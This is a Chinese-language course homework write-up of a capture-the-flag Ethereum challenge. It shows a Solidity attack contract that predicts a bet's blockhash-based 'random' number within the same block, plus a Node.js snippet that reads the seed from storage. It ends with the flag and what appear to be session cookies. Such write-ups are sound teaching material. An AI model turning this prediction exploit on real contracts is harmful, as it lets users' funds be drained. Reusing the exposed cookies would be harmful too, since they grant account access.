--- tags: 資訊安全實務 --- # HW3 ## Bet 這題就是一個猜數字拿到錢後再去驗證就能拿到FLAG,但是要猜的那個數字是random,所以需要佈署一個合約去解,因為佈署跟要解的challenge在同個block所以題目寫的getRandom我自己就可以算出一樣的數字再去拿到FLAG,自己佈署的合約需要有以下的功能 * 能夠create BetFactory * 能夠call BetFactory的validate * 能夠assign seed * 用seed去算出要猜的數字後去呼叫bet 那上面說的功能的code可以寫成 ```solidity contract Hack { address target; uint seed; function create(address _factory) public payable { BetFactory factory = BetFactory(_factory); factory.create{value: msg.value}(); } function validate(address _factory, uint token) public { BetFactory factory = BetFactory(_factory); factory.validate(token); } function run(address _target) public payable { target = _target; Bet instances = Bet(target); uint guess = seed ^ uint(blockhash(block.number - 1)); instances.bet{value: msg.value}(guess); seed ^= block.timestamp; } function set_seed(uint seed_) public payable { seed = seed_; } receive () external payable {} } ``` 那在上面還要定義關於BetFactory跟Bet的合約跟function ```solidity contract BetFactory { function create () public payable {} function validate (uint) public {} } contract Bet { function bet (uint guess) public payable {} function getRandom () internal returns(uint) {} } ``` 基本上定義完這些後就是解完了,只要去了解到底要怎麼運用這些function去拿到FLAG就ok,這邊我是搞挺久的,原本兩天領的10 ETH被我一直試到只剩下1.4266 ETH,而且因為我忘記寫withdraw把它給取回來,所以我的錢才會越來越少。 run裡面instances.bet{value: msg.value}要這樣寫是因為bet裡面要呼叫時msg的value需要大於0,所以這樣寫的時候我在乎叫時會去讀我value設多少再去呼叫這樣,我的錢會試到剩這麼少就是因為我一開始沒注意到這點,run一直失敗,所以改了好幾次code佈署了好幾份合約,每次create chellenge都要花0.5 ETH... 接下來的步驟就是切成 * 佈署完合約後用題目給的Factory的位置去create challenge * 合約位置:**0xAc85eBF5ebA00BEd2Eb0Cd988c5383eF83BEFC36** * Factory位置:**0x8e0a809B1f413deB6427535cC53383954DBF8329** * 拿到這個challenge位置後用這個位置去執行run這個function,我自己的chellange位置為 * **0xbAD444143769002C7B7715885bbe1612b4a356f5** * 拿到這個challenge的seed然後assign給我佈署的合約,拿seed的部分我是用nodejs寫,其餘的部分我是全部在remix上操作 ```nodejs! let challenge = lib.contract('0xbAD444143769002C7B7715885bbe1612b4a356f5',JSON.parse(fs.readFileSync('Bet.abi'))) console.log(await challenge.storage(1)); ``` * 拿到seed後去執行run的function後就幾乎完成了,最後再去連上server拿token然後執行validate就成功拿到FLAG * 順便提一下上面的code用challenge.storage(1)是因為在abi上seed是放在第二個,所以用1來去取得seed的值 FLAG ``` FLAG{CgMZBaRrk4tY1xnnEdDi} Cookie: sess=_t7yHKZgX7C0ac_oiShIdA; rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTJkZGI3N2E0Zjc1OGZhZmNiN2Ey%0AMjk4NmEwZDIyNjY5ZjU4ODUwMTdmOWIxMzU0OTliMmIxYjIwMjZhMzAyOGEG%0AOwBGSSIKZmxhc2gGOwBGewBJIgx1c2VyX2lkBjsARmkB8A%3D%3D%0A--f7528e40dd282f75a7836398f8d414981d704f16 ```